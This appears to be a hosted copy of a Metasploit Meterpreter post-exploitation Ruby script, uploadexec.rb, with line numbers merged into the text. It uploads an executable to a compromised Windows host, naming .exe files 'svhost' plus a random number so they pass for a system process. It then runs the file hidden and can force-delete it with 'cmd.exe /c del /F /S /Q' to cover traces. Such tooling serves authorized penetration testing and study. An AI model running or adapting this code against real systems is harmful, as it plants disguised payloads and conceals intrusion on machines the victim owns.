Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/uploadexec.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567session = client8@@exec_opts = Rex::Parser::Arguments.new(9"-h" => [ false,"Help menu." ],10"-e" => [ true, "Executable or script to upload to target host." ],11"-o" => [ true, "Options for executable." ],12"-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],13"-x" => [ false,"Exit the session once the payload has been run." ],14"-s" => [ true,"Sleep for a number of seconds after uploading before executing." ],15"-v" => [ false,"Verbose, return output of execution of uploaded executable." ],16"-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]17)1819################## function declaration Declarations ##################20def usage()21print_line "UploadExec -- upload a script or executable and run it"22print_line(@@exec_opts.usage)23raise Rex::Script::Completed24end2526def upload(session,file,trgloc = "")27if not ::File.exist?(file)28raise "File to Upload does not exist!"29else30if trgloc == ""31location = session.sys.config.getenv('TEMP')32else33location = trgloc34end35begin36ext = file[file.rindex(".") .. -1]37if ext and ext.downcase == ".exe"38fileontrgt = "#{location}\\svhost#{rand(100)}.exe"39else40fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}"41end42print_status("\tUploading #{file}....")43session.fs.file.upload_file("#{fileontrgt}","#{file}")44print_status("\t#{file} uploaded!")45print_status("\tUploaded as #{fileontrgt}")46rescue ::Exception => e47print_status("Error uploading file #{file}: #{e.class} #{e}")48raise e49end50end51return fileontrgt52end5354#Function for executing a list of commands55def cmd_on_trgt_exec(session,cmdexe,opt,verbose)56r=''57session.response_timeout=12058if verbose == 159begin60print_status "\tRunning command #{cmdexe}"61r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})62while(d = r.channel.read)63print_status("\t#{d}")64end65r.channel.close66r.close67rescue ::Exception => e68print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")69raise e70end71else72begin73print_status "\trunning command #{cmdexe}"74r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})75r.close76rescue ::Exception => e77print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")78raise e79end80end81end8283def m_unlink(session, path)84r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})85while(r.name)86select(nil, nil, nil, 0.10)87end88r.close89end90#check for proper Meterpreter Platform91def unsupported92print_error("This version of Meterpreter is not supported with this Script!")93raise Rex::Script::Completed94end95unsupported if client.platform != 'windows'96#parsing of Options97file = ""98cmdopt = nil99helpcall = 0100path = ""101verbose = 0102remove = 0103quit = 0104sleep_sec = nil105@@exec_opts.parse(args) { |opt, idx, val|106case opt107when "-e"108file = val || ""109when "-o"110cmdopt = val111when "-p"112path = val113when "-v"114verbose = 1115when "-h"116helpcall = 1117when "-s"118sleep_sec = val.to_f119when "-r"120remove = 1121when "-x"122quit = 1123end124125}126127if args.length == 0 || helpcall == 1128usage129end130print_status("Running Upload and Execute Meterpreter script....")131exec = upload(session,file,path)132if sleep_sec133print_status("\tSleeping for #{sleep_sec}s...")134Rex.sleep(sleep_sec)135end136cmd_on_trgt_exec(session,exec,cmdopt,verbose)137if remove == 1138print_status("\tDeleting #{exec}")139m_unlink(session, exec)140end141142if quit == 1143print_status("Closing the session...")144session.core.shutdown rescue nil145session.shutdown_passive_dispatcher146end147148print_status("Finished!")149150151